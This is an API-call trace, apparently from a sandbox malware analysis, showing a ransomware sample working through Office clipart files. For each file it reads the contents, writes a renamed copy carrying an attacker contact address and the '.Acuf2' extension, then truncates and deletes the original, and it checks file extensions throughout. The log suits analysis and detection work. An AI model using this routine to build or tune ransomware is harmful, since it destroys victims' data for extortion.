	[0256.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.393] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.394] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.394] GetLastError () returned 0x0
	[0256.394] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4fe6, lpOverlapped=0x0) returned 1
	[0256.420] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4ff0, lpOverlapped=0x0) returned 1
	[0256.421] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.421] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.421] SetEndOfFile (hFile=0x35c) returned 1
	[0256.428] CloseHandle (hObject=0x35c) returned 1
	[0256.428] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.428] SetEndOfFile (hFile=0x334) returned 1
	[0256.432] CloseHandle (hObject=0x334) returned 1
	[0256.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1
	[0256.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.432] lstrlenW (lpString=".doc") returned 4
	[0256.432] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.432] lstrlenW (lpString=".docx") returned 5
	[0256.432] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.432] lstrlenW (lpString=".pdf") returned 4
	[0256.432] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.432] lstrlenW (lpString=".xls") returned 4
	[0256.432] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.432] lstrlenW (lpString=".xlsx") returned 5
	[0256.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.432] lstrlenW (lpString=".ppt") returned 4
	[0256.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.432] lstrlenW (lpString=".zip") returned 4
	[0256.433] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.433] lstrlenW (lpString=".rar") returned 4
	[0256.433] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.433] lstrlenW (lpString=".bz2") returned 4
	[0256.433] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.433] lstrlenW (lpString=".7z") returned 3
	[0256.433] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.433] lstrlenW (lpString=".dbf") returned 4
	[0256.433] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.433] lstrlenW (lpString=".1cd") returned 4
	[0256.433] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.433] lstrlenW (lpString=".jpg") returned 4
	[0256.433] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.433] lstrlenW (lpString=".doc") returned 4
	[0256.433] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.433] lstrlenW (lpString=".docx") returned 5
	[0256.433] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.433] lstrlenW (lpString=".pdf") returned 4
	[0256.433] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.433] lstrlenW (lpString=".xls") returned 4
	[0256.433] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.433] lstrlenW (lpString=".xlsx") returned 5
	[0256.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.433] lstrlenW (lpString=".ppt") returned 4
	[0256.433] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.434] lstrlenW (lpString=".zip") returned 4
	[0256.434] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.434] lstrlenW (lpString=".rar") returned 4
	[0256.434] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.434] lstrlenW (lpString=".bz2") returned 4
	[0256.434] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.434] lstrlenW (lpString=".7z") returned 3
	[0256.434] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.434] lstrlenW (lpString=".dbf") returned 4
	[0256.434] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.434] lstrlenW (lpString=".1cd") returned 4
	[0256.434] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63
	[0256.434] lstrlenW (lpString=".jpg") returned 4
	[0256.434] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.435] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0256.435] lstrlenW (lpString="BD19582_.GIF") returned 12
	[0256.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.436] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=15733) returned 1
	[0256.436] CloseHandle (hObject=0x334) returned 1
	[0256.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20
	[0256.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.436] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.436] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.447] GetLastError () returned 0x0
	[0256.447] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3d75, lpOverlapped=0x0) returned 1
	[0256.449] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3d80, lpOverlapped=0x0) returned 1
	[0256.450] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.450] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.450] SetEndOfFile (hFile=0x35c) returned 1
	[0256.450] CloseHandle (hObject=0x35c) returned 1
	[0256.450] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.450] SetEndOfFile (hFile=0x334) returned 1
	[0256.453] CloseHandle (hObject=0x334) returned 1
	[0256.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1
	[0256.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.454] lstrlenW (lpString=".doc") returned 4
	[0256.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.454] lstrlenW (lpString=".docx") returned 5
	[0256.454] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.454] lstrlenW (lpString=".pdf") returned 4
	[0256.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.454] lstrlenW (lpString=".xls") returned 4
	[0256.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.454] lstrlenW (lpString=".xlsx") returned 5
	[0256.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.454] lstrlenW (lpString=".ppt") returned 4
	[0256.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.454] lstrlenW (lpString=".zip") returned 4
	[0256.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.454] lstrlenW (lpString=".rar") returned 4
	[0256.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.454] lstrlenW (lpString=".bz2") returned 4
	[0256.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.454] lstrlenW (lpString=".7z") returned 3
	[0256.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.454] lstrlenW (lpString=".dbf") returned 4
	[0256.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.454] lstrlenW (lpString=".1cd") returned 4
	[0256.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.454] lstrlenW (lpString=".jpg") returned 4
	[0256.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.455] lstrlenW (lpString=".doc") returned 4
	[0256.455] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.455] lstrlenW (lpString=".docx") returned 5
	[0256.455] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.455] lstrlenW (lpString=".pdf") returned 4
	[0256.455] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.455] lstrlenW (lpString=".xls") returned 4
	[0256.455] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.455] lstrlenW (lpString=".xlsx") returned 5
	[0256.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.455] lstrlenW (lpString=".ppt") returned 4
	[0256.455] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.455] lstrlenW (lpString=".zip") returned 4
	[0256.455] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.455] lstrlenW (lpString=".rar") returned 4
	[0256.455] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.455] lstrlenW (lpString=".bz2") returned 4
	[0256.455] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.455] lstrlenW (lpString=".7z") returned 3
	[0256.455] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.455] lstrlenW (lpString=".dbf") returned 4
	[0256.455] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.455] lstrlenW (lpString=".1cd") returned 4
	[0256.456] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63
	[0256.456] lstrlenW (lpString=".jpg") returned 4
	[0256.456] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.456] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.456] lstrlenW (lpString="BD19695_.WMF") returned 12
	[0256.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.456] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=12982) returned 1
	[0256.456] CloseHandle (hObject=0x334) returned 1
	[0256.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20
	[0256.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.457] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.457] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.457] GetLastError () returned 0x0
	[0256.457] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x32b6, lpOverlapped=0x0) returned 1
	[0256.459] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x32c0, lpOverlapped=0x0) returned 1
	[0256.460] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.460] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.460] SetEndOfFile (hFile=0x35c) returned 1
	[0256.460] CloseHandle (hObject=0x35c) returned 1
	[0256.460] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.460] SetEndOfFile (hFile=0x334) returned 1
	[0256.462] CloseHandle (hObject=0x334) returned 1
	[0256.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1
	[0256.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.463] lstrlenW (lpString=".doc") returned 4
	[0256.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.463] lstrlenW (lpString=".docx") returned 5
	[0256.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.463] lstrlenW (lpString=".pdf") returned 4
	[0256.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.463] lstrlenW (lpString=".xls") returned 4
	[0256.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.463] lstrlenW (lpString=".xlsx") returned 5
	[0256.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.463] lstrlenW (lpString=".ppt") returned 4
	[0256.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.463] lstrlenW (lpString=".zip") returned 4
	[0256.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.463] lstrlenW (lpString=".rar") returned 4
	[0256.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.463] lstrlenW (lpString=".bz2") returned 4
	[0256.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.463] lstrlenW (lpString=".7z") returned 3
	[0256.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.464] lstrlenW (lpString=".dbf") returned 4
	[0256.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.464] lstrlenW (lpString=".1cd") returned 4
	[0256.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.464] lstrlenW (lpString=".jpg") returned 4
	[0256.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.464] lstrlenW (lpString=".doc") returned 4
	[0256.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString=".docx") returned 5
	[0256.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.464] lstrlenW (lpString=".pdf") returned 4
	[0256.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString=".xls") returned 4
	[0256.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.464] lstrlenW (lpString=".xlsx") returned 5
	[0256.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.464] lstrlenW (lpString=".ppt") returned 4
	[0256.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.464] lstrlenW (lpString=".zip") returned 4
	[0256.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.464] lstrlenW (lpString=".rar") returned 4
	[0256.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString=".bz2") returned 4
	[0256.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.464] lstrlenW (lpString=".7z") returned 3
	[0256.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.465] lstrlenW (lpString=".dbf") returned 4
	[0256.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.465] lstrlenW (lpString=".1cd") returned 4
	[0256.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63
	[0256.465] lstrlenW (lpString=".jpg") returned 4
	[0256.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.465] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.465] lstrlenW (lpString="BD19827_.WMF") returned 12
	[0256.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.465] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9710) returned 1
	[0256.465] CloseHandle (hObject=0x334) returned 1
	[0256.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20
	[0256.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
